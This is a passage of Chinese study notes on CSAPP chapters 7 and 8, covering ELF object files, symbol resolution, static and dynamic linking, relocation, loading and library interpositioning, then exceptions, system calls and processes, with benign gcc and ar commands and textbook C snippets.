    • 注意:与可编译器中的符号表不同,.symtab 中的符号表不包含局部变量的条目
  7. **.rel.text:**一个 .text 节中位置的列表,当链接器把此目标文件与其他文件组合时,需要修改这些位置。
    • 一般任何调用外部函数或引用全局变量的指令都需要修改,而调用本地函数的指令则不需要修改。为什么不需要修改呢?
    • 注意:可执行目标文件不需要重定位,一般不包含 .rel.text 和 .rel.data 节。
    • 理解**:.rel.text 中包含的实际上是代码的重定位条目**。
  8. **.rel.data:**被模块引用或定义的所有全局变量的重定位信息。
    • 如果一个已初始化的全局变量其初始值是一个全局变量地址或外部定义函数的地址,就需要被修改。
    • 理解:.rel.data 中包含的实际上是已初始化的数据的重定位条目
  9. .debug:一个调试符号表,内部包含的条目是程序中定义的局部变量和类型定义,程序中定义和引用的全局变量,还有原始的 C 源文件。
    • 注意:.debug 节并不总是存在,只有用 -g 选项来调用编译器驱动程序时,才会有这一节。
  10. .line:**包含原始 C 源程序中的**行号和 .text 节中机器指令之间的映射
    • 注意:.line 节和 .debug 节一样,并不总是存在,只有用 -g 选项来调用编译器驱动程序时,才会有这一节。
  11. **.strtab:*包含一个*字符串表,其中包括 .symtab 和 .debug 节中的符号表,以及节头部中的节名字。
    • 字符串表实际上就是一个以 null 结尾的字符串的序列
  12. **节头部表:**特殊的节,是一个用来描述目标文件的节。
    • 内容:含有与目标文件中每个节相对应的一个条目,描述了对应节的位置和大小等信息。

注意局部变量在运行时保存在栈中,既不出现在 .data 节中,也不出现在 .bss 节中。

7.5符号和符号表

重定位的核心就是对符号表进行符号解析

每个可重定位目标模块 m 都有一个符号表(即 .symtab 节),包含着 m 定义和引用的符号的信息。

在链接器的上下文中,有三种不同的符号:

  1. 模块 m 定义并能被其他模块引用全局符号。包括非静态的函数和全局变量
  2. 其他模块定义并被 m 引用的全局符号,称之为外部符号。对应其他模块中定义的非静态函数和全局变量。
  3. 模块 m 定义且只能被 m 引用的**局部符号****。**包括带 static 属性的函数和全局变量。

对照 C++ 的语法来理解什么是全局符号和局部符号(static 对全局变量和函数的隐藏效果是一样的):

  1. C++ 中,static 变量只能在本文件中使用,即使外其他文件中用 extern 中声明也不行。属于这里的局部符号
  2. C++ 中,非 static 的全局变量在其他文件中也能使用,只需在该文件中用 extern 声明即可。属于这里的全局符号

**注意:**符号表中没有非 static 局部变量的符号,非 static 局部变量在运行时在栈中被管理。这里的局部符号和程序中的局部变量是不同的。

编译器在 .data 或 .bss 中为每个全局变量和 static 变量的定义分配空间,并在符号表中创建一个有唯一名字的符号

符号表中的条目

符号表结构

对应各个字段的中文含义:

typedef struct{
    int name;//name 是一个字符串表(.strtab节)中的字节偏移,指向符号的名字(用一个以 null 结尾的字符串表示)
    char type:4;//表明符号的类型:数据或函数(4 bits)
         binding:4;//表明符号是本地的还是全局的(4 bits)//这里的意思似乎是 type 和 binding 分别是一个 char 类型的高四位和低四位
    char reserved;//
    short section;//表明符号位于文件的哪个节中,section 是一个到节头部表的索引。
    long value;//对于可重定位文件而言,value 是距定义目标的节的起始位置的偏移;对于可执行文件而言,value 是一个绝对运行时地址
    long size;//对象的大小,以字节为单位
}
123456789

符号表实际上是一个条目的数组,每个条目描述一个符号的信息。符号表中的条目除了符号外,还可以包含各个节的条目,对应原始源文件的路径名的条目。

7.6符号解析

**链接器解析符号引用的方法:**将每个引用和它输入的可重定位文件的符号表中的一个确定的符号定义关联起来。

符号解析可以分为对局部符号的解析和对全局符号的解析:

  1. 局部符号:简单明了
    • 备注:在每个模块中,编译器只允许每个局部符号有一个定义。并且会确保每个静态变量有唯一的名字。
  2. 全局符号:更复杂一些
    • 方式:编译器遇到一个不是在当前模块定义的符号时,会假设该符号是在其他某个模块中定义的,在可重定位目标文件中生成一个符号表条目,并把它交给链接器处理。
    • 特殊情况:多个目标文件中定义了相同名字的的全局符号。

7.6.1如何解析多重定义的全局符号

链接器的输入是一组可重定位目标模块。每个模块定义一组符号,有些是局部的(只对定义该符号的模块可见),有些是全局的(对其他模块也可见)。如果多个模块定义同名的全局符号,会发生什么呢?

下面是 Linux编译系统采用的方法。

在编译时,编译器向汇编器输出每个全局符号,或者是强( strong)或者是弱(weak),而汇编器把这个信息隐含地编码在可重定位目标文件的符号表里。

  • 强符号:函数和已初始化的全局变量
  • 弱符号:未初始化的全局变量

根据强弱符号的定义, Linux链接器使用下面的规则来处理多重定义的符号名:

规则1:不允许有多个同名的强符号。

规则2:如果有一个强符号和多个弱符号同名,那么选择强符号。

规则3:如果有多个弱符号同名,那么从这些弱符号中任意选择一个。

注意:vs 的链接器并未遵守规则2,规则3:如果定义了同名的全局变量,链接器会直接报错,不论是强符号还是弱符号。

7.6.2与静态库链接

静态库:将所有相关的目标模块打包成一个单独的文件。

通过静态库,相关的函数可以被编译为独立的目标模块,然后封装成一个单独的静态库文件。然后,应用程序可以通过在命令行上指定单独的文件名称来使用这些在库中定义的函数。

例如:

linux> gcc main.c /usr/lib/libm.a /usr/lib/libc.a //使用C标准库和数学库中的函数
1

在链接时,链接器将只复制被程序引用的目标模块,减少了可执行文件在磁盘和内存中所占用的空间。

在 Linux 系统中,静态库以一种称为存档的特殊文件格式存放磁盘中。存档文件是一组连接起来的可重定位目标文件的集合,有一个头部用来描述每个成员目标文件的大小和位置。存档文件后缀名为 .a

理解:静态库和存档文件可以当作一个东西。存档是文件层面的描述,静态库是模块层面的描述。

在 linux 中,静态链接库是 .a 文件,动态链接库是 .so 文件。在windows 中,静态链接库是 .lib 文件,动态链接库是 .dll 文件。

静态库的应用实例

静态库例子

通过如下命令创建静态库:

linux> gcc -c addvec.c multvec.c   //将 addvec.c 和 multvec 两个文件编译成两个可重定位目标文件
linux> ar rcs libvector.a addvec.o multvec.o  //采用 ar 工具将上一步生成的两个可重定位目标文件 addvec.o 和 multvec.o 封装到静态库 libvector.o 中。
12

为了使用这个库,编写程序如下:

使用静态库

创建可执行文件:

linux> gcc -c main2.c
linux> gcc -static -o prog2c main2.o ./libvector.a
12

当链接器运行时,能自动判别出main2.o使用了addvec.o定义的addvec符号和printf.o使用的printf符号,因此复制addvec.o和printf.o到可执行文件。

与静态库链接

7.6.3链接器如何解析引用

符号解析的过程

在符号解析阶段,链接器从左到右按照它们在编译器驱动程序命令行上出现的顺序来扫描可重定位目标文件和存档文件。

在扫描中,链接器会维护一个可重定位目标文件的集合 E,一个未解析的符号 (即引用了但尚未定义的符号) 集合 U已定义的符号集合 D。初始时, E, U, D 都为空。

  1. 对于命令行上的每个输入文件 f,链接器会判断 f 是一个目标文件还是一个存档文件。(这里的存档文件即静态库)
  2. 如果 f 是一个目标文件,链接器会把 f 添加到 E,修改 U 和 D 来反映 f 中的符号定义和引用,并继续下一个输入文件。
  3. 如果 f 是一个存档文件,链接器会尝试匹配 U 中未解析的符号和存档文件成员定义的符号。
    1. 如果 f 中的某个成员 m 定义了一个符号来解析 U 中的一个引用,就把 m 加到 E 中,并修改 U 和 D 来反映 m 中的符号定义和引用。
    2. 对存档文件中所有的成员目标文件都依次进行这个过程。之后任何不包含在 E 中的成员目标文件都简单地被丢弃。
    3. 处理完 f,链接器会继续处理下一个输入文件。
  4. 当链接器扫描完所有输入文件后,如果 U 是非空的,链接器会输出一个错误并终止。

库在命令行中放在什么位置

在命令行中,如果定义一个符号的库出现在引用这个符号的目标文件前,引用就不能被解析,链接会失败。因为初始时 U 是空的。

一般把库放在命令行的结尾。如果库之间相互依赖,则依赖者在前,被依赖者在后。如果双向引用,可以在命令行上重复库

7.7重定位

符号解析完成后,每个符号引用就和一个符号定义(即一个输入目标模块中的一个符号表条目)关联起来了。

此时,链接器已经知道它的输入模块中的代码节和数据节的确切大小(存储在节头部表中),接下来就是重定位步骤了。

重定位将合并输入模块并为每个符号分配运行时地址

重定位分为两步:

  1. 重定位节和符号定义。
    • 链接器将所有相同类型的节合并为同一类型的新的聚合节。
    • 链接器将运行时内存地址赋给新的聚合节,赋给输入模块定义的每个节,以及赋给输入模块定义的每个符号。
    • 上面两步完成后,程序中的每条指令和全局变量都有唯一的运行时内存地址了。
  2. 重定位节中的符号引用。
    • 链接器修改代码节和数据节中对每个符号的引用,是他们指向正确的运行时地址。链接器依赖于可重定位目标模块中的重定位条目。

7.7.1重定位条目

重定位条目用来解决符号引用和符号定义的运行时地址的关联问题。

当汇编器遇到对最终位置的目标引用时,就会生成一个重定位条目,告诉链接器在合并目标文件为可执行文件时如何修改这个引用。

代码的重定位条目放在 .rel.text 中,已初始化数据的重定位条目放在 .rel.data 中。

每个重定位条目都代表了一个必须被重定位的引用

ELF重定位条目的格式:

ELF重定位条目

具体含义:

typedef struct{
    long offset;    //需要被修改的引用的节偏移(即该符号引用距离所在节的初始位置的偏移)。
    long type:32,   //重定位类型,不同的重定位类型会用不同的方式来修改引用
         symbol:32; //symbol table index,指向被修改引用应该指向的符号
    long addend;    //一个有符号常数,一些类型的重定位要使用它对被修改引用的值做偏移调整     
}
123456

ELF 定义了32种不同的重定位类型。以下是其中最基本的两种:

  1. R_X86_64_PC32:重定位一个使用 32 位 PC 相对地址的引用。
    • PC 相对地址:一个 PC 相对地址就是距程序计数器的值的偏移量。当 CPU 执行到一条使用 PC 相对寻址的指令时,就将在指令中编码的 32 位偏移量值加上 PC 的当前运行时值,得到有效地址,PC 值通常是下一条指令在内存中的地址。
  2. R_X86_64_32:重定位一个使用 32 位绝对地址的引用。通过绝对寻址,CPU 直接使用在指令中编码的 32 位值作为有效地址。

这两种类型都使用了 x86-64 小型代码模型,该模型假设可执行目标文件中的代码和数据的总体大小小于 2GB,因此可以通过 32 位地址来访问。GCC 默认使用小型代码模型。此外还有中型代码模型和大型代码模型。

7.7.2重定位符号引用

重定位 PC 相对引用

PC 相对引用的机制:在引用中存放着与 PC 的值偏移量。这实际上是符号定义的地址与符号引用的地址差。在实际运行时,当执行到了符号引用的指令时,PC 中的值就是符号引用的地址,加上 与 PC 的偏移量(即符号定义与符号引用的地址差)就得到了符号定义的地址。

重定位绝对引用

绝对引用的机制:引用中存放的就是符号定义的绝对地址

重定位算法

7.8可执行目标文件

可执行目标文件是一个二进制文件,包含加载程序到内存并运行它所需的所有信息

可执行目标文件的格式与可重定位目标文件的格式类似。

典型的ELF可执行目标文件

其中 ELF头 描述了文件的总体格式,还包括程序的入口点(entry point),即程序运行时要执行的第一条指令的地址。

段头部表和节头部表描述了可执行文件中的片到内存映像中的段的映射关系。它描述了各节在可执行文件中的偏移、长度、在内存映射中的偏移等。

  • .text, .rodata, .data 节与可重定位目标文件中的节相似,除了这些节已经被重定位到它们最终的运行时内存地址。
  • _init 节定义了一个小函数 _init,程序的初始化代码会调用它。
  • 可执行文件是完全链接的(已被重定位),因此比可重定位目标文件少了 .rel 节。
  • 程序头部表:包括段头部表和节头部表,描述了可执行文件中的连续的片(chunk)与连续的内段之间的映射关系

7.9加载可执行目标文件

Linux shell 命令行中执行如下:

linux > ./prog   
1

因为 prog 不是一个内置的 shell 命令,所以 shell 会认为 prog 是一个可执行目标文件,通过调用加载器(是操作系统中的一个程序)来运行它。任何 Linux 程序都可以通过 execve 函数来调用加载器

加载:加载器将可执行目标文件的代码和数据从磁盘复制到内存,然后跳转到程序的第一条指令或入口点来运行程序。

每个 Linux 程序都有一个运行时内存映像,如下图所示。代码段总是从 0x400000 处开始,后面是数据段,然后是运行时堆段,通过调用 malloc 库往上增长。堆后面的区域是为共享模块保留的。用户栈总是从最大的用户地址 2^48-1 开始,向较小内存地址增长。从地址 2^48 开始是留给内核的。

Linux运行时内存映像

在分配栈、共享库、堆的运行时地址的时候,链接器还会使用地址空间布局随机化,所以每次程序运行时这些区域的地址都会改变。

加载器的工作过程

加载器运行时,创建一个内存映像(虚拟地址空间),在程序头部表的引导下,将可执行文件的片复制到代码段和数据段。然后加载器跳转到程序的入口点,即 _start 函数的地址(函数在系统目标文件 ctrl.o 中定义),_start 函数调用系统启动函数 __libc_start_main(定义在 libc.o 中),__libc_start_main 初始化执行环境,调用用户层的 main 函数,处理 main 函数的返回值,并在需要时把控制返回给内核。

加载器实际工作流程:

加载器的实际工作流程

7.10动态链接共享库

虽然静态库解决了如何让大量相关函数对应用程序可用的问题。但是,仍然存在很多明显的缺点:

  1. 静态库需要定期维护和更新。如果想要使用一个更新后的静态库,必须显式地将程序与更新了的静态库重新链接。
  2. 调用的静态库中的函数在运行时会被复制到每个运行进程的文本段中。在一个运行上百个进程的系统上,会对稀缺的内存系统资源造成极大浪费。

共享库是为了解决静态库缺陷的产物,其主要目的是:

  1. 共享库与可执行文件相独立,只要输出接口不变(即名称、参数、返回值类型和调用约定不变),共享库更新不会对可执行文件造成任何影响。
  2. 允许多个正在运行的进程共享内存中相同的库代码,从而节约宝贵的内存资源。

共享库是一个目标模块,在运行或加载时,可以加载到任意的内存地址,并和内存中的程序链接起来。

动态链接:在程序运行或加载时,动态链接器将共享库加载到内存中并和程序链接起来。

共享库在 Linux 中以 .so 后缀表示,在 Windows 中以 .dll 表示。Windows 操作系统中大量使用了共享库。

共享库的共享方式:

  1. 一个共享库只有一个 .so 文件,所有引用该库的可执行目标文件共享这个 .so 文件中的代码和数据,而不是像静态库那样复制和嵌入到引用它们的文件中。
  2. 在内存中,一个共享库 .text 节的一个副本可以被不同的正在运行的进程共享。

共享库实例

生成共享库的方式,以构建向量共享库为例:

linux> gcc -shared -fpic -o libvector.so addvec.c multvec.c  //将 addvec.c 和 multvec.c 封装到动态库 libvector.so 中
// -fpic 选项指示编译器生成与位置无关的代码。
// -shared 选项指示链接器创建一个共享的目标文件。
123

然后,以这个共享库为基础生成可执行目标文件:

linux> gcc -o prog21 main2.c ./libvector.so  //创建了一个可执行目标文件 prog21
1

动态链接共享库

将 main2.o 和 libvector.so 链接并不是将 libvector.so 中的内容拷贝到了可执行文件 prog21 中,而是链接器复制了一些 libvector.so 中的重定位和符号表信息,以便运行时可以解析对 libvector.so 中代码和数据的引用。

理解

  • 动态链接库是在程序运行或加载时才动态链接的,但并不意味着在执行之前不需要进行其他操作:在链接时,链接器要与动态链接库进行一次部分链接以获取到它的重定位和符号表信息。
  • 要在程序中使用动态链接库,也需要在源文件中包含相关的头文件。

动态链接器完成链接的操作:

  1. 重定位 libc.so 的文本和数据到某个内存段。
  2. 重定位 libvector.so 的文本和数据到另一个内存段。
  3. 重定位 prog21 中所有对由 libc.so 和 libvector.so 定义的符号的引用。

上述操作完成后,共享库的位置就固定了,且程序执行的过程中都不会改变。

7.11从应用程序中加载和链接共享库

动态链接:应用程序在运行时要求动态链接器加载和链接某个共享库(共享库即动态链接库)。

动态链接的应用:

  1. 分发软件。软件开发者常利用共享库来分发软件更新,它们生成共享库的新版本,用户只需要下载共享库并替代当前版本,下一次运行应用程序时,应用将自动链接和加载新的共享库。
  2. 构建高性能 Web 服务器:许多 Web 服务器使用基于动态链接的方法来生成动态内容。将每个生成动态内容的函数打包在共享库中,当一个浏览器请求达到时,服务器就动态加载并链接相应函数,然后直接调用它,而非创建新的进程来运行函数。

dlopen 函数

Linux 系统为动态链接器提供了一个简单接口dlopen 函数,允许应用程序在运行时加载和链接共享库

#include <dlfcn.h>
void *dlopen(const char *filename, int flag);  //加载和链接共享库。若成功就返回指向句柄的指针,否则返回 NULL。
void *dlsym(void *handle, char *symbol);  //调用共享库中的函数。若成功,返回指向符号 symbol 的指针,若出错返回 NULL。
int dlclose(void *handle);  //卸载该共享库。若成功返回 0,出错返回 -1。
const char *dlerror(void);   //如果前面对 dlopen, dlsym, dlclose 的调用失败,则返回用字符串表示的错误消息,否则返回 NULL。
12345

7.12位置无关代码

共享库的一个主要目的就是允许多个正在运行的进程共享内存中相同的库代码,从而节约宝贵的内存资源。

多个进程如何共享动态库的同一个副本,两种方法:

  1. 给每个共享库分配一个事先预备的专用的地址空间片,然后要求加载器总是在这个地方加载共享库。这种方法问题很多。
  2. **使用位置无关代码。**这种方法才是实际采用的方法,列出上面那个就是为了用来衬托这个方法的。

位置无关代码(Position-Independent Code,PIC)可以加载而无需重定位。

用户可以对 GCC 使用 -fpic 选项来生成 PIC 代码。共享库的编译必须总是使用此选项。

  1. PIC数据引用
  2. PIC函数调用
    • 延迟绑定——程序调用一个由共享库定义的函数,将函数地址的解析推迟到实际被调用的地方,能避免动态链接库在加载时进行成百上千个不需要的重定位。
    • 延迟绑定——依赖于全局偏移量表(Global Offset Table,GOT) 和 过程链接表(Procedure Linkage Table,PLT)

7.13库打桩机制

库打桩(library interpositioning):允许用户截获对共享库函数的调用,取而代之执行自定义的代码。

  • 可以追踪某个特殊库函数的调用次数,验证和追踪它的输入和输出值,甚至可以替换成其他实现。

编译时打桩——访问程序的源代码

  • 使用C预处理器在编译时打桩,-I.参数告知C预处理器在搜索通常的系统目录之前,先在当前目录搜索malloc.h。然后,以本地的malloc.h指示预处理器用对相应包装函数的调用替换掉对应目标函数的调用
linux> gcc -DCOMPILETIME -c mymalloc.c 
linux> gcc -I. -o intc int.c mymalloc.o

linux> ./intc
malloc(32)=0x9ee010
free(0x9ee010)
123456

链接时打桩——访问程序的可重定位对象文件

  • Linux静态链接器支持用–warp f 标志进行链接打桩。这个标志告知链接器:
    • 把对符号f的引用解析成__wrap_f
    • 把对符号__real_f的引用解析成f

运行时打桩——访问可执行目标文件

  • 基于动态链接器的LD_PRELOAD环境变量,动态链接器会先搜索LD_PRELOAD库,然后搜索其他库。

7.14处理目标文件的工具

在Linux系统中有大量可用的工具可以帮助我们理解和处理目标文件。特别地,GNU binutils包尤其有帮助,而且可以运行在每一个Linux平台上

命令说明
AR创建静态库,插入、删除、列出和提取成员
STRING列出一个目标文件中所有可以打印的字符串
STRIP从目标文件中删除符号表信息
NM列出一个目标文件中符号表中定义的符号
SIZE列出目标文件中节的名字和大小
READELF显示一个目标文件的完整结构,包括ELF头中编码的所有信息,包含SIZE和NM的功能
OBJDUMP所有二进制工具之母,能够显示目标文件中的所有信息。它最大的作用是反汇编.text节中的二进制指令
LDD列出一个可执行文件在运行时所需的共享库

7.15总结

链接可以在编译时由静态编译器完成(静态库的链接),也可以在加载和运行时由动态链接器完成(动态库的链接)。

链接器处理的文件是目标文件,目标文件是一种二进制文件,有 3 种不同形式:

  1. 可重定位目标文件:
  2. 可执行目标文件:静态链接器将多个可重定位目标文件合并成一个可执行目标文件,它可以加载到内存中并执行。.exe 文件就是可执行目标文件。
  3. 共享目标文件(共享库):运行时由动态链接器链接和加载。

链接器的两个主要任务:

  1. 符号解析:将目标文件中的每个全局符号都绑定到一个唯一的定义。
  2. 重定位:确定每个符号的最终内存地址,并修改对那些目标的引用。

静态链接器是由 GCC 这样的编译驱动程序调用的。它们**将多个可重定位目标文件合并成一个单独的可执行目标文件。**多个目标文件可以定义相同的符号,链接器可以按照一定规则来解析这些相同的符号。

多个目标文件可以被连接到一个单独的静态库中。链接器用库来解析其他目标模块中的符号引用。许多链接器都是通过从左到右的顺序扫描库来解析符号引用。

加载器将可执行文件的内容映射到内存,并运行这个程序。链接器还可能生成部分链接的可执行目标文件,这样的文件中有对定义在共享库中的例程和数据的为解析的引用。在加载时,加载器将部分链接的可执行文件映射到内存,然后调用动态链接器,动态链接器通过加载共享库和重定位程序中的引用来完成链接任务。

**被编译为位置无关代码的共享库可以加载到任何地方,也可以在运行时被多个进程共享。**为了加载、链接和访问共享库的函数和数据,应用程序也可以在运行时使用动态链接器。

第8章 异常控制流

概念

从给处理器加电开始,直到断电为止,程序计数器假设一个值的序列:a0, a1, a2, …, an。其中每个 a(k) 都是某个相应的指令 I(k) 的地址。

每次从 a(k) 到 a(k+1) 的过渡称为控制转移。这样的控制转移序列叫做处理器的控制流(control flow)

最简单的控制流是一个平滑的序列,其中每个 I(k) 和 I(k+1) 都是相邻的。

  • 平滑流的突变:是由诸如跳转、调用、返回等程序指令造成的,这些指令都是必要的机制,使得程序能够对由程序变量表示的内部程序状态中的变化做出反应。(程序内部变量带来的)
  • 异常控制流:硬件定时器中断、程序向磁盘请求的数据已到位等,需要对系统状态的变化做出反应。这些 由程序外部原因带来的突变就叫做异常控制流(Exceptional Control Flow, ECF)

异常控制流 ECF 发生在计算机系统的各个层次:

  1. 硬件层,硬件中断
  2. 操作系统层,内核通过上下文切换将控制从一个进程转移到另一个进程
  3. 应用层,一个进程给另一个进程发送信号,信号接收者将控制转移到信号处理程序。

ECF 的应用:

  1. 操作系统内部。ECF 是操作系统用来实现 I/O、进程和虚拟内存的基本机制。
  2. 与操作系统交互。应用程序通过使用一个叫做系统调用(system call)的 ECF 形式,向操作系统请求服务。
  3. 编写应用程序。操作系统为应用程序提供了 ECF 机制,用来创建新进程、等待进程终止、通知其他进程系统中的异常事件、检测和响应这些事件。
  4. **并发。**ECF 是计算机系统中实现并发的基本机制。并发的例子有:异常处理程序或信号处理程序中断应用程序的执行,时间上重叠执行的进程和线程。
  5. 软件异常处理。C++ 和 Java 通过 try、catch、throw 等语句来提供异常处理功能。异常处理允许程序进行非本地跳转(即违反通常的调用/返回栈规则的跳转)来响应错误情况。非本地跳转是一种应用层 ECF,在 C 中由 setjmp和 longjmp 函数提供。

8.1异常

**异常(exception)**是异常控制流的一种形式,一部分由硬件实现,一部分由操作系统实现。异常位于硬件和操作系统交界的部分。

**注意:**这里的异常和 C++ 或 Java 中的应用级异常是不同的。

异常就是控制流中的突变,用来响应处理器状态中的某些变化。在处理器中,状态被编码为不同的位和信号,状态变化称为事件(event)

**事件的例子:**发生虚拟内存缺页、算术溢出、一条指令试图除以 0、一个系统定时器产生的信号等。

异常的剖析

任何情况下,当处理器检测到有事件发生时,就会通过一张叫做异常表的跳转表,进行一个间接过程调用(异常),到操作系统中一个专门用来处理这类事件的子程序(异常处理程序)。

当异常处理程序完成处理后,根据引起异常的事件的类型,会发生以下三种情况中的一种:

  1. 处理程序将控制返回给当前指令 I(curr),即事件发生时正在执行的指令。
  2. 处理程序将控制返回给下一条指令 I(next),即如果没有发生异常将会执行的下一条指令。
  3. 处理程序终止被中断的程序。

8.1.1异常处理

系统为每种可能的异常都分配了一个唯一的非负整数的异常号:

  1. 一部分异常号是处理器设计者分配的(对应硬件部分)。比如被零除、缺页、内存访问违例、断点、算术溢出。
  2. 另一部分是由操作系统内核的设计者分配的(对应软件部分)。比如系统调用、来自外部 I/O 设备的信号。

在系统启动时,操作系统分配和初始化一张异常表,使得表目 k 包含异常 k 的处理程序的地址

异常表

系统在执行某个程序时,处理器检测到发生了一个事件,并确定了对应的异常号 k,就会触发异常。

触发异常:执行间接过程调用,通过异常表的表目 k,转到相应的处理程序。异常号是到异常表中的索引,异常表的起始地址放在一个特殊 CPU 寄存器——异常表基地址寄存器中。

生成异常处理程序的地址

异常类似过程调用,但有一些不同:

  1. 过程调用时,在跳转到处理程序前,处理器将返回地址压入栈中。而在异常中,返回地址是当前指令(事件发生时正在执行的指令)或下一条指令。
  2. 处理器也会把一些额外的处理器状态压入栈中,在处理程序返回时,重新开始执行被中断的程序会需要这些状态。。
  3. 如果控制从用户程序转移到内核,所有这些项目都被压倒内核栈中,而不是用户栈中。
  4. 异常处理程序运行在内核模式下,因此它们对所有的系统资源都有完全的访问权限。

一旦硬件触发了异常,剩下的工作就是由异常处理程序在软件中执行。

异常处理结束后,会执行一条特殊的“从中断返回”指令,可选地返回到被中断的程序,该指令将适当的状态弹回到处理器的控制和数据寄存器中,然后将控制返回给别终端的程序。

8.1.2异常的类别

异常可以分为 4 类:中断(interrupt)、陷阱(trap)、故障(fault)和终止(abort),具体特性如下图所示

异常的类别

中断

中断是异步异常,是来自处理器外部的 I/O 设备中的信号的结果。硬件中断不是由指令造成的,因此它是异步的。硬件中断的异常处理程序常常叫做中断处理程序

I/O 设备,例如网络适配器、磁盘控制器和定时器芯片,通过向处理器芯片上的一个引脚发信号,并将异常号放到系统总线上,来触发中断,这个异常号标识了引起中断的设备。

中断处理

当前指令完成执行后,处理器注意到中断引脚的电压变高了,就从系统总线读取异常号,调用对应的中断处理程序。当处理程序返回时,它就将控制返回给下一条指令。结果是程序继续执行,就好像没有发生过中断一样。

陷阱和系统调用

陷阱是有意的异常,是执行一条指令的结果。陷阱最重要的用途是在应用程序和内核之间提供一个接口,叫做系统调用

用户程序经常需要向内核请求服务,比如读文件(read)、创建进程(fork)、加载程序(execve)、终止进程(exit)等。为了允许对这些内核服务的受控访问,处理器提供了一条特殊的 ”syscall n“ 指令,当用户程序想要向内核请求服务 n 时,就执行这条指令。执行 syscall 指令会导致一个到异常处理程序的陷阱(异常),这个处理程序解析参数,并调用适当的内核程序。

陷阱处理

从程序员角度看,系统调用和普通的函数调用是一样的。但是实现上大不相同。它们分别允许在内核模式和用户模式。

故障

**故障由错误情况引起。**故障发生时,处理器将控制转移给故障处理程序,如果处理程序能够修正错误,就把控制返回到引起故障的指令,否则返回给内核中的 abort 例程,abort 会终止当前的应用程序。

缺页异常

缺页异常是一种经典的故障(页面是虚拟内存中一个连续的块,典型值是 4KB)。当指令引用一个虚拟地址,而与该地址对应的物理页面不在内存中,必须要从磁盘取出时,就会发生缺页异常。

然后缺页处理程序会从磁盘加载适当的页面,然后将控制返回给引起故障的指令。当指令再次执行时,相应的物理页面就在内存中了。

理解:从存储器层次结构的角度看,缺页异常似乎可以看作是内存不命中的惩罚。

终止

终止是不可恢复的致命错误造成的结果,通常是一些硬件错误。终止处理程序将控制返回给一个 abort 例程,该例程会终止这个应用程序。

理解:运行程序时遇到了 abort 表明发生了故障或终止异常。

8.1.3Linux/x86-64系统中的异常

x86-64 系统中有 256 种不同的异常类型,其中 0~31 号是 Intel 架构师定义的异常(任何x86-64系统都一样),32~255对应的是操作系统定义的中断陷阱

理解:0-31 号是故障或终止32~255 号都是操作系统定义的中断或系统调用。

!x86-64系统中的异常示例

Linux/x86-64 故障和终止

  1. **除法错误。**当应用试图除以零时,或者当一个除法指令的结果对目标操作数来说太大了,就会发生除法错误。
    • 当发生除法错误,Unix 会直接终止程序,Linux shell 通常把除法错误报告为**“浮点异常(Floating Exception)”**。
  2. **一般保护故障。**有许多原因,通常是因为一个程序引用了一个未定义的虚拟内存区域,或试图写一个只读的文本段。
    • 此类故障也不会恢复,Linux shell 通常会把一般保护故障报告为**“段故障(Segmentation fault)”**。
  3. **缺页异常。**此类故障会尝试恢复并重新执行产生故障的指令。
  4. **机器检查。**在告知故障的指令执行中检测到致命的硬件错误时发生。
    • 此类故障从不返回控制给应用程序。

Linux/x86-64 系统调用

Linux 提供几百种系统调用,供应用程序请求内核服务时使用。(其中有一部分在 unistd.h 文件中)

系统中有一个跳转表(类似异常表)。每个系统调用都有一个唯一的整数号,对应一个到内核中跳转表的偏移量。

C 程序使用 syscall 函数可以直接调用任何系统调用。但是没必要这么做,C 标准库为大多数系统调用提供了包装函数。这些包装函数也是系统级函数

在x86-64系统上,系统调用时通过一条称为syscall的陷阱指令来提供的。所有 Linux 系统调用的参数都是通用寄存器而不是栈传递的。一般寄存器 %rax 包含系统调用号。

x86-64系统中常用的系统调用示例

hello程序,用系统级函数write实现:

int main()
{
    write(1, "hello, world\n", 13);
    _exit(0);
}
12345

hello程序,用汇编实现:

hello汇编实现

实现方式:直接使用syscall指令来调用write和exit系统调用。第9-13行调用write函数。首先,第9行将系统调用write的编号存放在%rax中,第10-12行设置参数列表。然后第13行使用syscall指令来调用系统调用。同理,第14-16调用exit系统调用。

8.2进程

异常是允许操作系统内核提供进程概念的基本构造块。

进程的经典定义就是一个执行中程序的实例。系统中的 每个程序都运行在某个进程的上下文(context)中

上下文是由程序正确运行所需的状态组成的。这个状态包括 存放在内存中的程序的代码和数据,它的栈、通用目的寄存器的内容、程序计数器、环境变量、打开文件描述符的集合。

当用户向 shell 输入一个可执行目标文件的名字,运行程序时, shell 就会创建一个新的进程,然后在这个新进程的上下文中运行该可执行文件。

进程提供给应用程序的关键抽象:

  1. 一个独立的逻辑控制流。好像程序独占地使用处理器。
  2. 一个私有的地址空间。好像程序独占地使用内存。

8.2.1逻辑控制流

使用调试器单步执行程序时会看到一系列的程序计数器(PC)值,这个 PC 的值的序列叫做逻辑控制流,简称逻辑流

PC 的值唯一地对应于包含在程序的可执行目标文件中的指令,或包含在运行时动态链接到程序的共享对象中的指令

逻辑控制流

关键点:进程是轮流使用处理器的。

8.2.2并发流

计算机系统中逻辑流有许多不同的形式,异常处理程序、进程、信号处理程序、线程等都是逻辑流的例子。

当一个逻辑流的执行在时间上与另一个流重叠,就称为并发流(concurrent flow),这两个流称为并发地运行。

例如上述图中,进程A和B时并发的,A和C也是,但是B和C没有并发的运行。

并行流是并发流的真子集,如果两个流并发地运行在不同的处理器核或不同的计算机上时,就称为并行流。

一个进程和其他进程轮流运行的概念叫做多任务

一个进程执行它的控制流的一部分的每一时间段叫做时间片。因此多任务也叫做时间分片。

8.2.3私有地址空间

进程为每个程序提供它自己的私有地址空间。一般而言,和这个私有地址空间中某个地址相关联的那个内存字节是不能被其他进程读或写的。

不同进程的私有地址空间关联的内存的内容一般不同,但是每个这样的空间都有相同的通用结构。

x86-64 Linux 进程的地址空间的组织结构如下图所示:

地址空间的顶部保留给内核(操作系统常驻内存的部分),包含内核在代表进程执行指令时(比如当执行了系统调用时)使用的代码、数据、堆和栈。

地址空间的底部留给用户程序,包括代码段、数据段、运行时堆、用户栈、共享库等。代码段总是从地址 0x400000 开始。

理解:可以看出,内核栈和用户栈是分开的。

进程的地址空间

8.2.4用户模式和内核模式

处理器使用某个控制寄存器中的一个模式位(mode bit)**来区分**用户模式内核模式。进程初始时运行在用户模式,当设置了模式位时,进程就运行在内核模式。

  • 运行在内核模式的进程可以执行指令集中的任何指令,并可以访问系统中的任何内存位置
  • 运行在用户模式的进程不允许执行特权指令,比如停止处理器、改变模式位、发起 I/O 操作等,也不能直接引用地址空间内核区中的代码和数据,用户程序只能通过系统调用接口间接地访问内核代码和数据

